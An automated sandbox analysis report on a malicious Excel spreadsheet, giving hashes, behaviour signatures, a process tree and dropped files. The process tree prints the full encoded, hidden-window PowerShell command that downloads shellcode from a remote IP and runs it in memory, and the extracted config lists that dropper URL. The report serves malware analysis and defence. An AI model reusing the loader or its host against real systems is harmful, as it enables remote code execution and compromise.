Analysis

  • max time kernel
    33s
  • max time network
    42s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-11-2024 22:01

General

  • Target

    3856ab552bd446734778d5a6464a7e47118a94a5bfe5d7e9789be4981441a554.xls

  • Size

    46KB

  • MD5

    82b02016493053970e5d6d964a582451

  • SHA1

    f5dd08d16ebe4381f55ab68d145eed1bc6f8b420

  • SHA256

    3856ab552bd446734778d5a6464a7e47118a94a5bfe5d7e9789be4981441a554

  • SHA512

    613fe26a3dc7061d3c3e558f95852d3925f90718f730b86299ae156f899a6ae0b2d98f7d8489515dcdfdb4f38d1c7e61da4b08208893c042beb0db8e18747355

  • SSDEEP

    768:V4SFsv66g3KnF439NKC54kkGfn+cL2XdA8YRtukODXwXqt7sNAQYzKEm8ZRu9Uzp:SSFsv66g3KnF439NKC54kkGfn+cL2Xd+

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://194.182.164.149:8080/fontawesome.woff

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\3856ab552bd446734778d5a6464a7e47118a94a5bfe5d7e9789be4981441a554.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:964
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -nop -w hidden -Enc JABXAGkAbgAzADIAIAA9ACAAQAAiAA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFcAaQBuADMAMgAgAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAASQBuAHQAUAB0AHIAIABWAGkAcgB0AHUAYQBsAEEAbABsAG8AYwAoAEkAbgB0AFAAdAByACAAbABwAEEAZABkAHIAZQBzAHMALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZAB3AFMAaQB6AGUALAANAAoAIAAgACAAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABmAGwAUAByAG8AdABlAGMAdAApADsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACwAIABDAGgAYQByAFMAZQB0AD0AQwBoAGEAcgBTAGUAdAAuAEEAbgBzAGkAKQBdAA0ACgBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsAA0ACgAgACAAIAAgAHUAaQBuAHQAIABkAHcAUwB0AGEAYwBrAFMAaQB6AGUALAANAAoAIAAgACAAIABJAG4AdABQAHQAcgAgAGwAcABTAHQAYQByAHQAQQBkAGQAcgBlAHMAcwAsAA0ACgAgACAAIAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwADQAKACAAIAAgACAAdQBpAG4AdAAgAGQAdwBDAHIAZQBhAHQAaQBvAG4ARgBsAGEAZwBzACwADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQASQBkACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgAsACAAUwBlAHQATABhAHMAdABFAHIAcgBvAHIAPQB0AHIAdQBlACkAXQANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAVQBJAG4AdAAzADIAIABXAGEAaQB0AEYAbwByAFMAaQBuAGcAbABlAE8AYgBqAGUAYwB0ACgADQAKACAAIAAgACAASQBuAHQAUAB0AHIAIABoAEgAYQBuAGQAbABlACwADQAKACAAIAAgACAAVQBJAG4AdAAzADIAIABkAHcATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAKQA7AA0ACgB9AA0ACgAiAEAADQAKAEEAZABkAC0AVAB5AHAAZQAgACQAVwBpAG4AMwAyAA0ACgANAAoAIwAgAEkAUwBDAHsAaABlAGMAYQByAG0AZQBuAF8AdwBhAHMAXwBoAGUAcgBlAH0ADQAKAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AIAA7AA0ACgAkAHMAaABlAGwAbABjAG8AZABlACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAEwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAiAGgAdAB0AHAAcwA6AC8ALwAxADkANAAuADEAOAAyAC4AMQA2ADQALgAxADQAOQA6ADgAMAA4ADAALwBmAG8AbgB0AGEAdwBlAHMAbwBtAGUALgB3AG8AZgBmACIAKQANAAoAaQBmACAAKAAkAHMAaABlAGwAbABjAG8AZABlACAALQBlAHEAIAAkAG4AdQBsAGwAKQAgAHsARQB4AGkAdAB9ADsADQAKACQAcwBpAHoAZQAgAD0AIAAkAHMAaABlAGwAbABjAG8AZABlAC4ATABlAG4AZwB0AGgADQAKAA0ACgBbAEkAbgB0AFAAdAByAF0AJABhAGQAZAByACAAPQAgAFsAVwBpAG4AMwAyAF0AOgA6AFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgAMAAsACQAcwBpAHoAZQAsADAAeAAxADAAMAAwACwAMAB4ADQAMAApADsADQAKAFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEMAbwBwAHkAKAAkAHMAaABlAGwAbABjAG8AZABlACwAIAAwACwAIAAkAGEAZABkAHIALAAgACQAcwBpAHoAZQApAA0ACgAkAHQAaABhAG4AZABsAGUAPQBbAFcAaQBuADMAMgBdADoAOgBDAHIAZQBhAHQAZQBUAGgAcgBlAGEAZAAoADAALAAwACwAJABhAGQAZAByACwAMAAsADAALAAwACkAOwANAAoAWwBXAGkAbgAzADIAXQA6ADoAVwBhAGkAdABGAG8AcgBTAGkAbgBnAGwAZQBPAGIAagBlAGMAdAAoACQAdABoAGEAbgBkAGwAZQAsACAAWwB1AGkAbgB0ADMAMgBdACIAMAB4AEYARgBGAEYARgBGAEYARgAiACkA
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4092
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ixtvlkoc\ixtvlkoc.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4000
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB381.tmp" "c:\Users\Admin\AppData\Local\Temp\ixtvlkoc\CSC9847C7BF3DFF4EA39235DE624F8B7669.TMP"
          4⤵
            PID:4312

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\RESB381.tmp

      Filesize

      1KB

      MD5

      6bf1a3480766c584ecdbc31f4b54fe13

      SHA1

      2e3e50fe9f0b7eb6e332eb10eb2042dc740f5ec0

      SHA256

      d2f09be1bbbb8b53998e8ce161636f1e17be85ce5c6565443635455aca85e5dc

      SHA512

      752762e4be5dad77c2461d80c03f93f57b4e1f1b969c4a6bdd38e53d6d25fd0383a8bff7a3033422d504103ab1b4bb89dbe3c5ebce89fc9836ae523441329caa

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_orwozolv.cwn.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\ixtvlkoc\ixtvlkoc.dll

      Filesize

      3KB

      MD5

      2429e09dc340474b53bacfe0f17755d5

      SHA1

      a881af1796fbd6632a52a7c4f35c4dd2317ddee2

      SHA256

      d3ce22dfac95466a99bec06f256d4e94868a2a531cd498d1453c33ddfde3347d

      SHA512

      5b1de00d1db27099d7cdf3258b7e685f124ae166f92f0b29601aca0e961b8a38e7b41cc825b6d3cff2b217da33422948a76d3e3f1a8d9d3fca360b077d1df0bc

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

      Filesize

      1KB

      MD5

      4493e6e815c099130242fc95b3fb10e4

      SHA1

      c695d28c54a4cfbac02b6ef198f24f263e7345ea

      SHA256

      7e1803ed3eaca4755d1a0eebd3de413953c90286b0c456e552ae16175fe06cce

      SHA512

      298d292650c79b0075a22b88c1c23dd9edac1ab13adb40db6f2760bd83456f1600e7ac444513e278f30a100098c788a5fa576c357a70975a471dbaddf28659dd

    • \??\c:\Users\Admin\AppData\Local\Temp\ixtvlkoc\CSC9847C7BF3DFF4EA39235DE624F8B7669.TMP

      Filesize

      652B

      MD5

      6c5c4cec6cd844649bb69aecded2d2e9

      SHA1

      79e48198b597b41cc0b8eeb7007207c8b375dc71

      SHA256

      13d7781b4ee09e2b4e7710e6496e6643006a256c29b97a4cc6ed49982a1f79b4

      SHA512

      9f78e3c86fa6455b3c9fefb8f10ad82271ff83c09c5a44826f0b9275000831af316afaffb456560bc4b12587789000719a18df53f07482272ffcfb802dfadded

    • \??\c:\Users\Admin\AppData\Local\Temp\ixtvlkoc\ixtvlkoc.0.cs

      Filesize

      631B

      MD5

      f4dd5c682eb7b3b679f084261bfc7c4c

      SHA1

      70f75d7a4e42c185eb09139ed3c6f7338a2219c2

      SHA256

      2908bfece2edd241dc4f7cc26608c3254f7e5b896a38114618d56b65d4fc4319

      SHA512

      8f91148a6bd15f8182ef00b3e75b008eacda414852e8169112013377e4b9b88e1a0be73c8e0c212b8c0a51c24fbb2849c44d742f6019c9c5bf0dfb0e28a1b83d

    • \??\c:\Users\Admin\AppData\Local\Temp\ixtvlkoc\ixtvlkoc.cmdline

      Filesize

      369B

      MD5

      c9f01abc1ac02983d411ba6d18d10560

      SHA1

      401794d508f57eb898801ef66f4f9232cb720198

      SHA256

      8880353072d4e1834d438da8565b310b5a72d16e51646169a97e3f5bd12c965f

      SHA512

      6e387711998f2d2aeaface6782e84b8b70f2dc99cb394f1370cfe0f2723e637588ab28e224297de1912b33cd7fa607ee6c405068a66b18ecec24b82e54b9408d

    • memory/964-10-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/964-7-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/964-1-0x00007FF94DA8D000-0x00007FF94DA8E000-memory.dmp

      Filesize

      4KB

    • memory/964-11-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/964-12-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/964-9-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/964-14-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/964-13-0x00007FF90B350000-0x00007FF90B360000-memory.dmp

      Filesize

      64KB

    • memory/964-15-0x00007FF90B350000-0x00007FF90B360000-memory.dmp

      Filesize

      64KB

    • memory/964-16-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/964-18-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/964-19-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/964-17-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/964-27-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/964-26-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/964-6-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/964-0-0x00007FF90DA70000-0x00007FF90DA80000-memory.dmp

      Filesize

      64KB

    • memory/964-8-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/964-4-0x00007FF90DA70000-0x00007FF90DA80000-memory.dmp

      Filesize

      64KB

    • memory/964-5-0x00007FF90DA70000-0x00007FF90DA80000-memory.dmp

      Filesize

      64KB

    • memory/964-2-0x00007FF90DA70000-0x00007FF90DA80000-memory.dmp

      Filesize

      64KB

    • memory/964-3-0x00007FF90DA70000-0x00007FF90DA80000-memory.dmp

      Filesize

      64KB

    • memory/964-68-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/964-59-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/964-62-0x00007FF94DA8D000-0x00007FF94DA8E000-memory.dmp

      Filesize

      4KB

    • memory/964-63-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/964-64-0x00007FF94D9F0000-0x00007FF94DBE5000-memory.dmp

      Filesize

      2.0MB

    • memory/4092-57-0x000001FF5E900000-0x000001FF5E908000-memory.dmp

      Filesize

      32KB

    • memory/4092-41-0x000001FF5E920000-0x000001FF5E942000-memory.dmp

      Filesize

      136KB